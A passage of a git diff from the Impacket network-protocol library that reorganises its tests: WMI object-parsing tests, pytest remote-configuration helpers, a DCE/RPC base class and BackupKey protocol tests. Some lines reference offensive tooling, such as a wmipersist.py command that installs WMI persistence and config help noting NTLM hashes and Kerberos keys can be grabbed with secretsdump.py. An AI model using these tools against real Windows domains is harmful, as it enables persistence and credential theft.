iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) iWbemLevel1Login.RemRelease() - classObject,_ = iWbemServices.GetObject('Win32_Process') + classObject, _ = iWbemServices.GetObject('Win32_Process') dcom.disconnect() def test_IWbemServices_ExecQuery(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) + iWbemServices = iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) #classes = [ 'Win32_Account', 'Win32_UserAccount', 'Win32_Group', 'Win32_SystemAccount', 'Win32_Service'] - classes = [ 'Win32_Service'] + classes = ['Win32_Service'] for classn in classes: print("Reading %s " % classn) try: @@ -152,21 +162,21 @@ def test_IWbemServices_ExecQuery(self): dcom.disconnect() def test_IWbemServices_ExecMethod(self): - dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) + iWbemServices = iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) #classObject,_ = iWbemServices.GetObject('WinMgmts:Win32_LogicalDisk='C:'') - classObject,_ = iWbemServices.GetObject('Win32_Process') + classObject, _ = iWbemServices.GetObject('Win32_Process') obj = classObject.Create('notepad.exe', 'c:\\', None) handle = obj.getProperties()['ProcessId']['value'] iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Process where handle = %s' % handle) - oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] + oooo = iEnumWbemClassObject.Next(0xffffffff, 1)[0] #import time #time.sleep(5) - owner = oooo.Terminate(1) + oooo.Terminate(1) #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Group where name = "testGroup0"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] @@ -194,51 +204,146 @@ def test_IWbemServices_ExecMethod(self): dcom.disconnect() -class TCPTransport(WMITests): - def setUp(self): - WMITests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - if len(self.hashes) > 0: - self.lmhash, self.nthash = self.hashes.split(':') - else: - self.lmhash = '' - self.nthash = '' - -class TCPTransport64(WMITests): - def setUp(self): - WMITests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') - if len(self.hashes) > 0: - self.lmhash, self.nthash = self.hashes.split(':') - else: - self.lmhash = '' - self.nthash = '' + +class WMIOfflineTests(unittest.TestCase): + + @staticmethod + def createIWbemClassObject(b64_compressed_obj_ref): + obj_ref = zlib.decompress(base64.b64decode(b64_compressed_obj_ref)) + interface = wmi.INTERFACE(objRef=obj_ref, target='') + return wmi.IWbemClassObject(interface, interface) # Use the same interface as a iWbemServices mock + + def assertIWbemClassObjectAttr(self, _object, attribute_name, expected_value): + actual_value = getattr(_object, attribute_name) + self.assertEqual(expected_value, actual_value, '{}.{} is {!r}, but was expecting {!r}'.format( + _object.getClassName(), attribute_name, actual_value, expected_value + )) + + def test_win32_current_time_class_parsing(self): + """ + https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wmitimepprov/win32-currenttime + Parse a Win32_CurrentTime instance object, response for the 'Select * from Win32_UTCTime' WMI query + + The data was obtained by running the following command while patching impacket.dcerpc.v5.dcomrt.INTERFACE: + echo 'Select * from Win32_UTCTime' | wmiquery.py username:password@x.x.x.x -file - + + The following lines were added in the impacket.dcerpc.v5.dcomrt.INTERFACE class constructor: + https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_22/impacket/dcerpc/v5/dcomrt.py#L1111-L1112 + if objRef and b'Win32_CurrentTime' in objRef: + import base64, textwrap, zlib + print('\n'.join(textwrap.wrap(base64.b64encode(zlib.compress(objRef)), 96))) + + Target's time had previously been set to 00:00 UTC + """ + current_time_obj = self.createIWbemClassObject(''' + eJzNks8vA0EUx7/bVutXQotEQkPSJg4Sh1YcnCTVhFC/WopIpKmhGzWbbHeFOCAcSBzEwR/g4ODmJP4CN5x6EiccHcWNN7Ok + I/bg6CWfnTcvn7d5szup5HjWB2D3PPSwXboLHqRwgZGeaOj9ONkfvg8edjh7UlD2AhszvaFbWv1IJ2eSY7N9vYBpGNZCXl9b + j6HghRPdRJtIsjqPxxYTtmkybmX0NYYmqnYRAWBHq6Pk48NPKaopbSAiRNyp19KzR2yJeYIRR8QJcU3cEK/EGxHWgCgxQmSI + LWKPuCCuiEfiSRNv/XOcemgs5wDTmYQc3tkmikZ+dcI01vUlZgJpna8UmWVwYDC3iaYBwCOPIyJI0Dl2IqIwJSq2zq14TLrj + y1nGVmWHF/VuHftqx5Bhm1L2o9VNvlTllF4s6iWWN/hSSTbVIOrW9PKzidsWk3oA7W56i6bqBrcK0tbgc7MTqj1p50yLOSeo + QrObX1L9tBxe6tXodNPPVF18ymFeGcmHRreestozx3LOPJX4IXs9ivx/YrSS1j8HxH2AvHAehe+IfK3i/2gN+H2lgU8VG67O + ''') + self.assertIWbemClassObjectAttr(current_time_obj, 'Year', 2021) + self.assertIWbemClassObjectAttr(current_time_obj, 'Month', 6) + self.assertIWbemClassObjectAttr(current_time_obj, 'Day', 8) + self.assertIWbemClassObjectAttr(current_time_obj, 'DayOfWeek', 2) + self.assertIWbemClassObjectAttr(current_time_obj, 'Hour', 0) + self.assertIWbemClassObjectAttr(current_time_obj, 'Minute', 0) + self.assertIWbemClassObjectAttr(current_time_obj, 'Second', 35) + # According to the Win32_CurrentTime class documentation, the Milliseconds property is not returned / used, the + # PowerShell "gwmi win32_currenttime" command output shows it empty indicating it is $null, so it should be None + self.assertIWbemClassObjectAttr(current_time_obj, 'Milliseconds', None) + + def test_wmi_persist_classes_parsing(self): + """ + Parse several objects created thorough SpawnInstance in wmipersist.py + + The data was obtained by running the following command while patching IWbemClassObject.SpawnInstance(): + wmipersist.py username:password@x.x.x.x -debug install -name ASEC -timer 1000 -vbs toexec.vbs + + The following lines were added in the impacket.dcerpc.v5.dcom.wmi.IWbemClassObject.SpawnInstance(): + https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_22/impacket/dcerpc/v5/dcom/wmi.py#L2557 + import base64, textwrap, zlib + print('\n'.join(textwrap.wrap(base64.b64encode(zlib.compress(objRefCustomIn.getData())), 96))) + """ + + # NOTE: I think these shouldn't be strings, see impacket.dcerpc.v5.dcom.wmi.ENCODED_VALUE.getValue() and + # impacket.dcerpc.v5.dcom.wmi.CLASS_PART.getProperties() (links below). I won't change that code since I + # don't know the potential splash damage. If you've changed it and found yourself trying to figure out why + # does this test fail, just delete this comment, remove string quotes, and inline the following variables + # https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_22/impacket/dcerpc/v5/dcom/wmi.py#L341-L344 + # https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_22/impacket/dcerpc/v5/dcom/wmi.py#L568-L569 + default_creator_sid = '[1, 1, 0, 0, 0, 0, 0, 5, 18, 0, 0, 0]' + false = 'False' + + # ActiveScriptEventConsumer - https://docs.microsoft.com/en-us/windows/win32/wmisdk/activescripteventconsumer + asec_obj = self.createIWbemClassObject(''' + eJy1k89r1EAUx7/Z7db6AzS7FpRaq1bpSQuuoHhSdrNLKetis1gKwpqmwzqQTCSZKVsvxpvevIlexIsH8eS/4UHBqxcPIp68 + 6qm+mezWrARvHfgwM2/yvu87L0nH6a5PAXj8pvrlUfLRftLBW6xeOl/99cy5Pv/JfrqQ7ekR/CgDwztXql9pnkaz1W623Lbb + bDvAWrfbu5uozcSP+QPJI4FBGdk4Rzh60e8720zIRiQSFbIYdhZcEVvc93TOGgs8ybYwmx24O4lkYSPwkgRHKaKfn9NHWvkg + mZ6heZFYJu4RIfGKeEd8Jr4RSxZwkegTEfGaeE/8Jiolis3ujsZV2u3+M3S1lyWkuOlLvs1cc7vJWyCIfC9gQCNmnoxid6UJ + m9yUjD3SxCniEJAu6sBG5j+tH4YuB8WFvAas8iDo8ZBFSqJGJwdMVjmXXdbZzwm6eIpcdv0y0PH8+1ywW17IMHNj1HhT3M4X + /6CjiYy5GOicIQ9VeFsxxVz+kKFGiZaWN4mn84k2deskUdebM7TYq6wElwmwuSMZTZkB4/xIkf91S5dAWhv5H3vJGtviARNj + hWmcKFJ4YU12YFKBlo4YUCeMxBSOjSSW8hLfSeKnvkMmUaQmItkXKgjGuj02lEayguNFrpZLha50DyzLvItKFfsyNv4u53Lh + eWKBOIvsF4FpB7m5gP9/zXvjDwGExJk= + ''') + self.assertIWbemClassObjectAttr(asec_obj, 'CreatorSID', default_creator_sid) # see comments on variable + self.assertIWbemClassObjectAttr(asec_obj, 'KillTimeout', 0) + self.assertIWbemClassObjectAttr(asec_obj, 'MachineName', '') + self.assertIWbemClassObjectAttr(asec_obj, 'MaximumQueueSize', 0) + self.assertIWbemClassObjectAttr(asec_obj, 'Name', '') + self.assertIWbemClassObjectAttr(asec_obj, 'ScriptingEngine', '') + self.assertIWbemClassObjectAttr(asec_obj, 'ScriptFilename', '') + self.assertIWbemClassObjectAttr(asec_obj, 'ScriptText', '') + + # __IntervalTimerInstruction - https://docs.microsoft.com/en-us/windows/win32/wmisdk/--intervaltimerinstruction + iti_obj = self.createIWbemClassObject(''' + eJy9UbFOAkEQfYAxRBINh1aiFtrYWIiVNkY5LsQQDEe0MZLjWM3isUdu91ATEzE22ukX2Fn4EbaW8gF+iLHBWQ6vsbBzkrc3 + Ozv79r25ilk9nABw82x8XMv37F0FL9hbWzE+H8zNhUH2finaUwuCJHBxsGG06TuJYskqlmzLLlomUKtW60cybEo34F3FfYHp + JKLIEI510mjUeYcFZSFVELqjptmobvaYUBYTLHCUH8CIqmXR4q6j+2rMcxRrYS46sC+lYp1dz5ESM1TR+lOEPKFAeCQ8Ed4I + A8L8kALQq0qgP6JWLOg53i9B+DnZYeqcMTFSJpEjliR5jt5aJUwB/VSakrYeDCGnfQ6HVzrV9VutNeRCFdYB4auGCD2PKoIT + Hzrc87hkri9atLPPeLd8sk9+yGRmG0jEnrLjt5Y156vmbPq+xxySGolvIb09nnQ8hPjCFzQX+oVIHMgoF6f4/9iKs3ycaYuJ + RfzxQ/AN/wuDfg== + ''') + self.assertIWbemClassObjectAttr(iti_obj, 'IntervalBetweenEvents', 0) + self.assertIWbemClassObjectAttr(iti_obj, 'SkipIfPassed', false) # see comments on variable + self.assertIWbemClassObjectAttr(iti_obj, 'TimerId', '') + + # __EventFilter - https://docs.microsoft.com/en-us/windows/win32/wmisdk/--eventfilter + ef_obj = self.createIWbemClassObject(''' + eJydkr9Lw0AUx1/6C1GhJrWIP4oOjlIcHMRNmrSUtpY2oghCONOjBGpachdpJ3XTrYObzg4ujk7+DfoHuDs6KW71XRJtaDv5 + 4JN7d/e+975HrqJVD2MAcHmvvJ2zF/mqAg9Qyq4r331tJ/MqX6/6cyyBuwhA92BLucExAWq+oOb1gq4WNIB6tbp/zNwTZjpW + h1ttG7IR8GMJ2RSJYRTthmUSsV2nLcJpA9L+ht5jnJ7mWoQxSOKKcJRARL6MlJEj5ALpI0/IM/KBfCEZCWADqX0OMHTMBiNx + K6HYMLQzavO81eLUAcg5lPC2oxdVkNcAJK+tsL2CTGO36BQmeDuI4iQ1A+JYcC2bb+OyOGnXNClaFmVxmA/UcljdFRdk3LHs + ZqDZI6eUdYhJPVkM5ibJHsMyofCK/Rhz+A7C/NDhr67mUqfnCaMwO6lLWgp18arLxG66pOm3iwTfEVUppBLHSpJnK67A/0Mb + pslgFD1TwiSyAP6bkBZh/Df+xQ8W2n+V + ''') + self.assertIWbemClassObjectAttr(ef_obj, 'CreatorSID', None) + self.assertIWbemClassObjectAttr(ef_obj, 'EventAccess', '') + self.assertIWbemClassObjectAttr(ef_obj, 'EventNamespace', '') + self.assertIWbemClassObjectAttr(ef_obj, 'Name', '') + self.assertIWbemClassObjectAttr(ef_obj, 'Query', '') + self.assertIWbemClassObjectAttr(ef_obj, 'QueryLanguage', '') + + # __FilterToConsumerBinding - https://docs.microsoft.com/en-us/windows/win32/wmisdk/--filtertoconsumerbinding + ftcb_obj = self.createIWbemClassObject(''' + eJydks9rE0EUx79pqi22VLOlINhSDx68KOIPKIUWNJuEUEO0G/RSWLabaR2YzrQzs2lXEONNb0L/BwUPHnr14sGz+gd48q5H + 9Rbf7MY00OjBB5/Z2Z33vvPe29eoNB+OA3j2yvvy1HwqPW/gDdauXvJ+vawsL3wuvVjM38kFrSJw8OCmd5eep+FXa341qAV+ + rQKsN5utDZNsmljzXcuVxNcx5HaeuOY2YViXbR5H7nidiciyNubygyA1lu2URWQMztIXxwVidoqWXm+C1svEdWKPeEK8JT4Q + hQIwQ9wiVojHxCHxjvhIzL3vDVme0g/6vjqGLt1c5cIy3VJlJU2yw/QdTjnKbeC2MSrmWbLAn1NsuRvhGubKmyfOAN3iJG02 + siN0+zlDs63lMKx0mLSDcJQ1i6zSQd1H6aLrojdK6jVRHJJKuLRLgM8E7zAdpDJ+pJVUiREppjLf6VEy34mfx13EplKCRVSO + VDaUiRADyfS+CjCbaUz2lUrDSleosCyLG/QL8pZlrcjtxMXbhb+2oh+MRkRqRMDiRHObUossO7BZOeOYGZXEkUtiUEMg1L6v + 9uU9rTq8zbTJQk/h3KjQb8Oh0/2pce4e/t/qx1s3qwsnHNyYFBbx7zkj+w1KorBh + ''') + self.assertIWbemClassObjectAttr(ftcb_obj, 'Consumer', '') + self.assertIWbemClassObjectAttr(ftcb_obj, 'CreatorSID', None) + self.assertIWbemClassObjectAttr(ftcb_obj, 'DeliverSynchronously', false) # see comments on variable + self.assertIWbemClassObjectAttr(ftcb_obj, 'DeliveryQoS', 0) + self.assertIWbemClassObjectAttr(ftcb_obj, 'Filter', '') + self.assertIWbemClassObjectAttr(ftcb_obj, 'MaintainSecurityContext', false) # see comments on variable + self.assertIWbemClassObjectAttr(ftcb_obj, 'SlowDownProviders', false) # see comments on variable + # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 0000000000..01eb7bdbaa --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python +# SECUREAUTH LABS. Copyright 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Base tests cases module +# +from os import getenv +from os.path import join +from binascii import unhexlify +from six.moves.configparser import ConfigParser + + +# Module-scope variable to hold remote configuration in case it was set by pytest +remote_config_file_path = None + + +remote_config_section = "TCPTransport" + + +remote_config_params = [ + ("servername", "Server NetBIOS Name"), + ("machine", "Target hostname or IP address"), + ("username", "User's username"), + ("password", "User's password"), + ("hashes", "User's NTLM hashes, you can grab them with secretsdump.py or will be calculated from the password"), + ("aesKey256", "User's Kerberos AES 256 Key, you can grab it with secretsdump.py"), + ("aesKey128", "User's Kerberos AES 128 Key, you can grab it with secretsdump.py"), + ("domain", "Domain FQDN"), + ("machineuser", "Domain-joined machine NetBIOS Name"), + ("machineuserhashes", "Domain-joined machine NTLM hashes, you can grab them with secretsdump.py"), +] +remote_config_params_names = [name for name, _ in remote_config_params] + + +def set_remote_config_file_path(config_file): + """Sets the configuration file path for further considering it""" + global remote_config_file_path + remote_config_file_path = config_file or None + + +def get_remote_config_file_path(): + """Obtains the configuration file path according to the different options available + to specify it. + """ + if remote_config_file_path: + return remote_config_file_path + remote_config_file = getenv("REMOTE_CONFIG") + if not remote_config_file: + remote_config_file = join("tests", "dcetests.cfg") + return remote_config_file + + +def get_remote_config(): + """Retrieves the remote tests configuration. + """ + remote_config_file = ConfigParser() + remote_config_file.read(get_remote_config_file_path()) + return remote_config_file + + +def set_transport_config(obj, machine_account=False, aes_keys=False): + """Set configuration parameters in the unit test. + """ + remote_config = get_remote_config() + obj.username = remote_config.get(remote_config_section, "username") + obj.domain = remote_config.get(remote_config_section, "domain") + obj.serverName = remote_config.get(remote_config_section, "servername") + obj.password = remote_config.get(remote_config_section, "password") + obj.machine = remote_config.get(remote_config_section, "machine") + obj.hashes = remote_config.get(remote_config_section, "hashes") + if len(obj.hashes): + obj.lmhash, obj.nthash = obj.hashes.split(':') + obj.blmhash = unhexlify(obj.lmhash) + obj.bnthash = unhexlify(obj.nthash) + else: + obj.lmhash = obj.blmhash = '' + obj.nthash = obj.bnthash = '' + + if machine_account: + obj.machine_user = remote_config.get(remote_config_section, "machineuser") + obj.machine_user_hashes = remote_config.get(remote_config_section, "machineuserhashes") + if len(obj.machine_user_hashes): + obj.machine_user_lmhash, obj.machine_user_nthash = obj.machine_user_hashes.split(':') + obj.machine_user_blmhash = unhexlify(obj.machine_user_lmhash) + obj.machine_user_bnthash = unhexlify(obj.machine_user_nthash) + else: + obj.machine_user_lmhash = obj.machine_user_blmhash = '' + obj.machine_user_nthash = obj.machine_user_bnthash = '' + + if aes_keys: + obj.aes_key_128 = remote_config.get(remote_config_section, 'aesKey128') + obj.aes_key_256 = remote_config.get(remote_config_section, 'aesKey256') + + +class RemoteTestCase(object): + """Remote Test Case Base Class + + Holds configuration parameters for all remote base classes. Configuration is by + default loaded from `tests/dctests.cfg`, but a different path can be specified with + the REMOTE_CONFIG environment variable. When tests are loaded by pytest, a remote + configuration file can also be specified using the `--remote-config` command line + option or the `remote-config` ini option. + + Configuration parameters can be found in the `tests/dcetests.cfg.template` file. + """ + + def set_transport_config(self, machine_account=False, aes_keys=False): + """Set configuration parameters in the unit test. + """ + set_transport_config(self, machine_account=machine_account, aes_keys=aes_keys) diff --git a/tests/conftest.py b/tests/conftest.py new file mode 100644 index 0000000000..409f91594a --- /dev/null +++ b/tests/conftest.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python +# SECUREAUTH LABS. Copyright 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Tests configuration +# +import pytest +from . import set_remote_config_file_path, set_transport_config + + +def pytest_configure(config): + """Hook that sets remote configuration file path as specified in pytest command line + or ini option, and apply the configuration options to the pytest `config` object. + """ + config_file = config.getoption("--remote-config") + if not config_file: + config_file = config.getini("remote-config") + if config_file: + set_remote_config_file_path(config_file) + set_transport_config(config) + + +def pytest_addoption(parser): + """Hook that adds pytest options for configuring the remote configuration + file. + """ + parser.addoption("--remote-config", dest="remote_config", metavar="FILE", + help="Configuration file for remote tests") + parser.addini("remote-config", help="Configuration file for remote tests", type="pathlist") + + +@pytest.fixture(scope="class", name="remote") +def remote_config(request): + """Remote Test Case configuration fixture + + Sets the configuration attributes in the test class for easier access. + """ + set_transport_config(request.cls) diff --git a/tests/coveragerc b/tests/coveragerc deleted file mode 100644 index 169aab0f21..0000000000 --- a/tests/coveragerc +++ /dev/null @@ -1,28 +0,0 @@ -# .coveragerc to control coverage.py -[run] -branch = True -source = impacket -omit = *remcom* - *.tox* - -[report] -# Regexes for lines to exclude from consideration -exclude_lines = - # Have to re-enable the standard pragma - pragma: no cover - - # Don't complain about missing debug-only code: - if self\.debug - - # Don't complain if tests don't hit defensive assertion code: - raise AssertionError - raise NotImplementedError - - # Don't complain if non-runnable code isn't run: - if 0: - if __name__ == .__main__.: - -ignore_errors = True - -[html] -directory = coverage_html_report diff --git a/tests/dcerpc/__init__.py b/tests/dcerpc/__init__.py new file mode 100644 index 0000000000..b8adfb5168 --- /dev/null +++ b/tests/dcerpc/__init__.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Base class for testing DCE/RPC Endpoints. +# +# Author: +# @martingalloar +# +from tests import RemoteTestCase + +from impacket.dcerpc.v5 import transport, epm + + +class DCERPCTests(RemoteTestCase): + + STRING_BINDING_FORMATTING = 1 + STRING_BINDING_MAPPER = 2 + + TRANSFER_SYNTAX_NDR = ("8a885d04-1ceb-11c9-9fe8-08002b104860", "2.0") + TRANSFER_SYNTAX_NDR64 = ("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0") + + timeout = None + authn = False + authn_level = None + iface_uuid = None + protocol = None + string_binding = None + string_binding_formatting = STRING_BINDING_FORMATTING + transfer_syntax = None + machine_account = False + + def connect(self, string_binding=None, iface_uuid=None): + """Obtains a RPC Transport and a DCE interface according to the bindings and + transfer syntax specified. + + :return: tuple of DCE/RPC and RPC Transport objects + :rtype: (DCERPC_v5, DCERPCTransport) + """ + string_binding = string_binding or self.string_binding + if not string_binding: + raise NotImplemented("String binding must be defined") + + rpc_transport = transport.DCERPCTransportFactory(string_binding) + + # Set timeout if defined + if self.timeout: + rpc_transport.set_connect_timeout(self.timeout) + + # Authenticate if specified + if self.authn and hasattr(rpc_transport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) + + # Gets the DCE RPC object + dce = rpc_transport.get_dce_rpc() + + # Set the authentication level + if self.authn_level: + dce.set_auth_level(self.authn_level) + + # Connect + dce.connect() + + # Bind if specified + iface_uuid = iface_uuid or self.iface_uuid + if iface_uuid and self.transfer_syntax: + dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax) + elif iface_uuid: + dce.bind(iface_uuid) + + return dce, rpc_transport + + def setUp(self): + super(DCERPCTests, self).setUp() + self.set_transport_config(machine_account=self.machine_account) + + if self.string_binding_formatting == self.STRING_BINDING_FORMATTING: + self.string_binding = self.string_binding.format(self) + elif self.string_binding_formatting == self.STRING_BINDING_MAPPER: + self.string_binding = epm.hept_map(self.machine, self.iface_uuid, protocol=self.protocol) diff --git a/tests/dcerpc/test_bkrp.py b/tests/dcerpc/test_bkrp.py new file mode 100644 index 0000000000..b52912b244 --- /dev/null +++ b/tests/dcerpc/test_bkrp.py @@ -0,0 +1,175 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Tested so far: +# (h)BackuprKey +# +from __future__ import division +from __future__ import print_function + +import pytest +import unittest +from tests.dcerpc import DCERPCTests + +from impacket.dcerpc.v5 import bkrp +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from impacket.dcerpc.v5.dtypes import NULL + +try: + from cryptography import x509 + from cryptography.hazmat.backends import default_backend +except ImportError: + print("In order to run these test cases you need the cryptography package") + + +class BKRPTests(DCERPCTests): + + iface_uuid = bkrp.MSRPC_UUID_BKRP + string_binding = r"ncacn_np:{0.machine}[\PIPE\protected_storage]" + authn = True + authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY + + data_in = b"Huh? wait wait, let me, let me explain something to you. Uh, I am not Mr. Lebowski; " \ + b"you're Mr. Lebowski. I'm the Dude. So that's what you call me. You know, uh, That, or uh, " \ + b"his Dudeness, or uh Duder, or uh El Duderino, if, you know, you're not into the whole brevity thing--uh." + + def test_BackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID(self): + dce, rpctransport = self.connect() + request = bkrp.BackuprKey() + request['pguidActionAgent'] = bkrp.BACKUPKEY_BACKUP_GUID + request['pDataIn'] = self.data_in + request['cbDataIn'] = len(self.data_in) + request['dwParam'] = 0 + + resp = dce.request(request) + + resp.dump() + + wrapped = bkrp.WRAPPED_SECRET() + wrapped.fromString(b''.join(resp['ppDataOut'])) + wrapped.dump() + + request = bkrp.BackuprKey() + request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID + request['pDataIn'] = b''.join(resp['ppDataOut']) + request['cbDataIn'] = resp['pcbDataOut'] + request['dwParam'] = 0 + + resp = dce.request(request) + resp.dump() + + self.assertEqual(self.data_in, b''.join(resp['ppDataOut'])) + + def test_hBackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID(self): + dce, rpctransport = self.connect() + + resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_BACKUP_GUID, self.data_in) + resp.dump() + + wrapped = bkrp.WRAPPED_SECRET() + wrapped.fromString(b''.join(resp['ppDataOut'])) + wrapped.dump() + + resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_RESTORE_GUID, b''.join(resp['ppDataOut'])) + resp.dump() + + self.assertEqual(self.data_in, b''.join(resp['ppDataOut'])) + + def test_BackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID_WIN2K(self): + dce, rpctransport = self.connect() + request = bkrp.BackuprKey() + request['pguidActionAgent'] = bkrp.BACKUPKEY_BACKUP_GUID + request['pDataIn'] = self.data_in + request['cbDataIn'] = len(self.data_in) + request['dwParam'] = 0 + + resp = dce.request(request) + resp.dump() + + wrapped = bkrp.WRAPPED_SECRET() + wrapped.fromString(b''.join(resp['ppDataOut'])) + wrapped.dump() + + request = bkrp.BackuprKey() + request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID_WIN2K + request['pDataIn'] = b''.join(resp['ppDataOut']) + request['cbDataIn'] = resp['pcbDataOut'] + request['dwParam'] = 0 + + resp = dce.request(request) + resp.dump() + + self.assertEqual(self.data_in, b''.join(resp['ppDataOut'])) + + def test_hBackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID_WIN2K(self): + dce, rpctransport = self.connect() + + resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_BACKUP_GUID, self.data_in) + resp.dump() + + wrapped = bkrp.WRAPPED_SECRET() + wrapped.fromString(b''.join(resp['ppDataOut'])) + wrapped.dump() + + resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_RESTORE_GUID_WIN2K, b''.join(resp['ppDataOut'])) + resp.dump() + + self.assertEqual(self.data_in, b''.join(resp['ppDataOut'])) + + def test_BackuprKey_BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID(self): + dce, rpctransport = self.connect() + request = bkrp.BackuprKey() + request['pguidActionAgent'] = bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID + request['pDataIn'] = NULL + request['cbDataIn'] = 0 + request['dwParam'] = 0 + + resp = dce.request(request) + resp.dump() + + #print "LEN: %d" % len(''.join(resp['ppDataOut'])) + #hexdump(''.join(resp['ppDataOut'])) + + cert = x509.load_der_x509_certificate(b''.join(resp['ppDataOut']), default_backend()) + print(cert.subject) + print(cert.issuer) + print(cert.signature) + + def test_hBackuprKey_BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID(self): + dce, rpctransport = self.connect() + request = bkrp.BackuprKey() + request['pguidActionAgent'] = bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID + request['pDataIn'] = NULL + request['cbDataIn'] = 0 + request['dwParam'] = 0 + + resp = bkrp.hBackuprKey(dce, bkrp.BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID, NULL) + resp.dump() + + #print "LEN: %d" % len(''.join(resp['ppDataOut'])) + #hexdump(''.join(resp['ppDataOut'])) + + cert = x509.load_der_x509_certificate(b''.join(resp['ppDataOut']), default_backend()) + print(cert.subject) + print(cert.issuer) + print(cert.signature) + + +@pytest.mark.remote +class BKRPTestsSMBTransport(BKRPTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class BKRPTestsSMBTransport64(BKRPTestsSMBTransport): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + + +# Process command-line arguments. +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_dcomrt.py 